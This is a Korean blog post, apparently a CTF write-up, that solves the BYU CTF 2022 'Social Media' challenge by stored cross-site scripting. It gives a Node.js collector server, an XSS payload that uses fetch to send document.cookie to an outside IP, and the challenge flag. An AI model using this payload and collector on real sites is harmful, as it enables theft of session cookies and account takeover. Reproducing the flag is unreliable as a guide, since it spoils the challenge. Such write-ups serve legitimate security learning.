본문 바로가기
CTF

BYU CTF 2022 - Social Media [크로스사이트 스크립팅]

by skyepodium 2022. 5. 29.

전형적인 크로사이트 스크립팅 쿠키 탈취 문제입니다.

(이 방법은 http-only 옵션으로 쿠키를 설정하지 않는 경우만 사용할 수 있습니다.)

 

1.  시나리오

다음과 같은 시나리오로 진행됩니다.

2. 문제 확인

2개의 웹으로 구성됩니다.

- 포스트 작성시 XSS 구문을 넣고

- 해당 리크를 관리자에게 리포팅하고

- 관리자가 해당 링크를 클릭하는 순간 쿠키기 전달되도록합니다.

 

 

1) 포스트 작성

2) 관리자에게 리포팅

3. Exploit

1) 서버 생성

JavaScript, python, Spring boot 어느것을 사용해도 상관없습니다. 다만, 저는 편하게 하려고 node.js - express를 사용했습니다.

 

 

mkdir server
cd server
npm init
npm i express cors

 

// server.js

const express = require('express')
const cors = require('cors')

const app = express()
const port = 8080

// XSS 구문에서 fetch로 쿠키를 전달할 예정입니다.
// Same origin Policy를 해제하기 위해 CORS 설정을 진행합니다.
app.use(cors());

app.get('/', (req, res) => {
  // URL 디코딩
  const str = decodeURIComponent(req.url)
  console.log('요청 URL', str)

  res.send('안녕하세요!!!!!')
})

app.listen(port, () => {
  console.log(`로컬 서버를 실행합니다. 포트: ${port}`)
})

서버 실행

node server.js

2) XSS 구문 입력

fetch는 브라우저에서 비동기 요청을 보낼때 사용되는 함수입니다.

 

로컬 IP를 적어주고, 서버 URL에서 쿠키를 받을 수 있도록 작성해줍니다.

 

참고

이 방법은 http-only로 쿠키를 설정하지 않는 경우에만 사용가능합니다.

(http-only 옵션을 통해 쿠키를 설정하면 브라우저에서 document.cookie로 쿠키에 접근할 수 없습니다.)

<script>fetch("http://74.42.125.58:8080?cookie=" + document.cookie)</script>

 

 

3) 링크 리포팅

 

4) 확인

5) flag

byuctf{xss_1s_a_v3ry_common_m3thod_of_attack!}

 

 

'CTF' 카테고리의 다른 글

[SECCON Beginners CTF 2022] Util  (0) 2022.06.05
[BSidesSF CTF] Sequels: A New Bug  (0) 2022.06.05
[n00bzCTF] tcpdump  (0) 2022.06.04
[BCACTF 3.0] My New Friend  (0) 2022.06.04
[BSidesSF CTF] web-tutorial-1  (0) 2022.06.04